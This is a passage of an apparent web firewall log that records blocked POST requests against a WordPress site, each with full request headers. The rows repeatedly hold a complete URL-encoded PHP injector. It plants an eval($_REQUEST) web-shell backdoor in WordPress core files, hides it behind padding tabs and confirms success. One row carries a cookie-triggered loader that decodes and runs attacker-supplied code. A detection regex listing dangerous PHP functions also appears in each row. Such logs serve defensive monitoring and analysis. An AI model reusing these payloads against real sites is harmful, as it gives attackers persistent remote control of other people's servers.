0=71\nsec-fetch-site:none\n\nLk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-numbers.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TkcaDr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:57:39","91.142.222.105","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> TH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-numbers.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TkcaDr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIRtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2052\n\nTH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-numbers.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TkcaDr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:57:52","185.176.9.68","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Cs:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-numbers.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TkcaDr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD3ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2052\n\nCs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-numbers.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TkcaDr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:58:41","103.93.94.155","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Nt:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-numbers.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TkcaDr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGaDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:2052\n\nNt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-numbers.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TkcaDr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:58:50","173.212.252.15","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-numbers.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TkcaDr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\ncontent-length:2075\nsec-ch-ua-platform:\"macOS\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-numbers.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TkcaDr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 23:58:56","164.52.218.210","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> du:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-35%252B35%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B21-18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B58%252B-54%255D%2529%2529%2520%257B%2520%2524hld%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524object%2529%2520%257B%2520%2524hld%2520%253D%2520%2524_COOKIE%253B%2520%2524binding%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25277c691a7a%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524binding%2529%2529%2520%257B%2520%2524binding%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522query_handler%2522%253B%2520%257D%2520%2524rec%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524hld%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524binding%2529%2529%2520%257B%2520%2524flag%2520%253D%2520fopen%2528%2524binding%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524flag%252C%2520%2524rec%2529%253B%2520fclose%2528%2524flag%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524binding%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524binding%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524key%2520%253D%2520%252213e5a3af020b135b9c453d4b36851ea6%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524hld%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522reverse_lookup_token_parser_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMUHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4300\n\ndu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-35%252B35%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B34-33%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B21-18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B58%252B-54%255D%2529%2529%2520%257B%2520%2524hld%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524object%2529%2520%257B%2520%2524hld%2520%253D%2520%2524_COOKIE%253B%2520%2524binding%2520%253D%2520tempnam%2528%2528%2521empty%252